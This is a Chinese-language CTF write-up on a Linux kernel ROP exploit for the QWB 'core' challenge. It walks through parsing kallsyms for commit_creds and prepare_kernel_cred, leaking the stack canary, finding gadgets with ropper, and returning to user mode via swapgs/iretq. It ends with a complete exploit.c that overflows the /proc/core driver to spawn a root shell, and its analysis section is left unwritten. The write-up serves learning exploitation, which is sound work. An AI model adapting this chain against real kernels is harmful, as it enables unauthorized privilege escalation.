# Linux kernel exploit: ROP
###### tags: `exploitation`
從中國 qwb 的比賽中的 core 學習 linux kernel ROP 的利用,基本上參考自:
[ctf-wiki](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_rop-zh/#_1)
## 分析
分析比較好做,我留著之後完成,先弄 exploit 的部分
## 利用
利用的部分因為第一次玩 kernel 的 ROP ,所以大致上是照著 ctf-wiki 上面的教學完成,內容應該很雷同...
1. 梳理 exploit 思路:
簡單講就是怎麼對一個基本的 stack buffer overflow 進行 rop :
* 必須知道 prepare_kernel_cred, commit_creds 兩個 symbol addr
* 必須要找到 kernel 的 gadget
* 必須 leak canary
* 必須 construct rop chain
* 必須從 kernel 返回 user
按著思路可以整理出以下步驟:
找 symbol addr -> leak canary -> find gadgets -> rop chain -> overflow -> return to user
2. 找 symbol addr:
symbol addr 的部分因為 init 內有一行:
```sh
echo 1 > /proc/sys/kernel/kptr_restrict
```
按理說無法透過 cat /proc/kallsyms 來拿到 symbol addr ,
**BUT** init 內還有一行:
```sh
cat /proc/kallsyms > /tmp/kallsyms
```
所以 access /tmp/kallsyms 跟 access /proc/kallsyms 是一樣道理,用意的話我只能猜說出題者考驗有沒有分析 init 而已...
因為有開 kaslr ,所以每次啟動 symbol addr 都會不同,當然也就不能寫死在 exploit 內,這邊就簡單的對 kallsyms parse ,透過 symbol name 找 addr
```c
/* find symbol address */
FILE *fp = fopen("/tmp/kallsyms", "r");
/* ptr point to the buffer */
char **lineptr = (char**)malloc(sizeof(char*));
*lineptr = NULL;
/* buffer length */
size_t n;
/* return value */
ssize_t nb;
unsigned long long commit_creds, prepare_kernel_cred, tmp;
char permission;
char *symname;
char *tmpstr;
/* get one line */
while((nb = getline(lineptr, &n, fp)) > 0)
{
/* parse one line into three parts */
/* first one will be addr */
tmpstr = strtok(*lineptr, " ");
sscanf(tmpstr, "%llx", &tmp);
/* second one will be permission */
tmpstr = strtok(NULL, " ");
sscanf(tmpstr, "%c", &permission);
tmpstr = strtok(NULL, " ");
symname = tmpstr;
if(!strcmp(symname, "prepare_kernel_cred\n"))
{
prepare_kernel_cred = tmp;
}
else if(!strcmp(symname, "commit_creds\n"))
{
commit_creds = tmp;
}
}
free(*lineptr);
free(lineptr);
fclose(fp);
```
3. leak canary:
這部分跟分析關係比較大,等日後分析寫完再補上
4. find gadgets:
以往都是在 user space 上找 gadgets ,這次在 kernel 找,算是滿特別的體驗
* 選用 Ropper
首先注意到 ctf-wiki 提到在找 gadgets 方面, ropper 要優於 ROPgadget ,所以我優先選擇 ropper
* extract-vmlinux
我找到的題目裡面有 vmlinux ,但我用了之後發現跟 bzImage 根本是不同 kernel!
鑑於最後啟動的 kernel 是從 bzImage 來,最保險的方法還是從 bzImage 裡面找,這邊使用了 [extract-vmlinux](https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux) 的 script 把 vmlinux 從 bzImage 裡面抽出,後面的使用基本上沒差
```sh
ropper --file ./vmlinux --nocolor --search "regex"
```
> ropper 預設會自帶顏色,在搜尋上會造成困擾,因此建議關掉
>
值得注意的是 kernel gadgets 找出來都會是一個固定的 base address + offset ,但 kaslr 的關係,所以那個絕對地址沒啥鳥用,必須剪掉 base address 得到 offset 再去跟 leak 出來的 base address 相加才是真的地址:
```
base = commit_creds - commit_creds_offset
real_sym = sym - raw_base + base
```
其中裡面的 raw_base 可以透過 checksec vmlinux 得知
5. ROP chain
kernel 層面的 ROP 跟 user 的 ROP 原理基本相同,但 kernel 主要是透過 commit_creds(prepare_kernel_cred(0)) 來提權而非呼叫 system("/bin/sh")
kernel 內部的 calling convention 對我而言跟在 amd64 架構下的 user 沒差
> 省略 ret 等等 instruction 減少空間浪費
```
+--------+-----+---------------+-------+------------+----------------------+
| pop rdi| 0 | prepare_ker...|pop rcx|commit_creds| mov rdi, rax; jmp rcx|
+--------+-----+---------------+-------+------------+----------------------+
```
上面等價於:
```c
commit_creds(prepare_kernel_cred(0))
```
6. 從 kernel 返回 user 層
```
+------------------+---------+-----------+-------------------+
|swapgs; popfq; ret|iret; ret|spawn_shell|restore rflags.... |
+------------------+---------+-----------+-------------------+
```
由於 kernel 部分弄好後要返回 user ,必須透過 swapgs; iret 達成,之後用 ret 跳到 spawn_shell() 然後佈置好 restore rflags 的部分
完整的 exploit.c:
```c=
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
size_t user_cs, user_ss, user_rflags, user_sp;
/* gadgets */
unsigned long long poprdi = 0xffffffff81000b2f;
/* mov last instruction return value to next instruction first argument */
unsigned long long movjmprcx = 0xffffffff811ae978;
unsigned long long poprcx = 0xffffffff81021e53;
unsigned long long swapgs = 0xffffffff81a012da;
unsigned long long iret = 0xffffffff81050ac2;
unsigned long long raw_base = 0xffffffff81000000;
unsigned long long base = 0;
void save_status()
{
__asm__(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
:
: "memory"
);
}
void spawn_shell()
{
if(!getuid())
system("/bin/sh");
else
{
puts("get shell failed");
exit(-1);
}
}
int main()
{
/* find symbol address */
FILE *fp = fopen("/tmp/kallsyms", "r");
/* ptr point to the buffer */
char **lineptr = (char**)malloc(sizeof(char*));
*lineptr = NULL;
/* buffer length */
size_t n;
/* return value */
ssize_t nb;
unsigned long long commit_creds, prepare_kernel_cred, tmp;
char permission;
char *symname;
char *tmpstr;
/* get one line */
while((nb = getline(lineptr, &n, fp)) > 0)
{
/* parse one line into three parts */
/* first one will be addr */
tmpstr = strtok(*lineptr, " ");
sscanf(tmpstr, "%llx", &tmp);
/* second one will be permission */
tmpstr = strtok(NULL, " ");
sscanf(tmpstr, "%c", &permission);
tmpstr = strtok(NULL, " ");
symname = tmpstr;
if(!strcmp(symname, "prepare_kernel_cred\n"))
{
prepare_kernel_cred = tmp;
}
else if(!strcmp(symname, "commit_creds\n"))
{
commit_creds = tmp;
}
}
free(*lineptr);
free(lineptr);
fclose(fp);
printf("prepare_kernel_cred: %llx\n", prepare_kernel_cred);
printf("commit_creds: %llx\n", commit_creds);
base = commit_creds - 0x9c8e0;
printf("kernel base address %llx\n", base);
poprcx = poprcx - raw_base + base;
printf("pop rcx; ret gadgets: %llx\n", poprcx);
poprdi = poprdi - raw_base + base;
printf("pop rdi; ret: %llx\n", poprdi);
movjmprcx = movjmprcx - raw_base + base;
printf("movjmprcx: %llx\n", movjmprcx);
swapgs = swapgs - raw_base + base;
printf("swapgs; popfq; ret: %llx\n", swapgs);
iret = iret - raw_base + base;
printf("iret: %llx\n", iret);
save_status();
int fd = open("/proc/core", O_RDWR);
/* set offset */
ioctl(fd, 0x6677889c, 64);
/* leak canary */
char info[64];
ioctl(fd, 0x6677889b, info);
uint64_t canary = *(uint64_t*)info;
printf("canary: %lx", canary);
/* write payload to name array */
unsigned long long payload[20];
for(int i = 0;i < 8;i++)
payload[i] = 0xdeaddeadbeefbeef;
/* canary */
payload[8] = canary;
int k = 9;
payload[k++] = 0xdeaddeadbeefbeef;
payload[k++] = poprdi;
payload[k++] = 0;
payload[k++] = prepare_kernel_cred;
payload[k++] = poprcx;
payload[k++] = commit_creds;
payload[k++] = movjmprcx;
payload[k++] = swapgs;
payload[k++] = 0;
payload[k++] = iret;
payload[k++] = (unsigned long long)spawn_shell;
payload[k++] = user_cs;
payload[k++] = user_rflags;
payload[k++] = user_sp;
payload[k++] = user_ss;
write(fd, payload, sizeof(payload[0])*(k));
/* overflow */
ioctl(fd, 0x6677889a, 0xffffffffffff0100);
close(fd);
}
```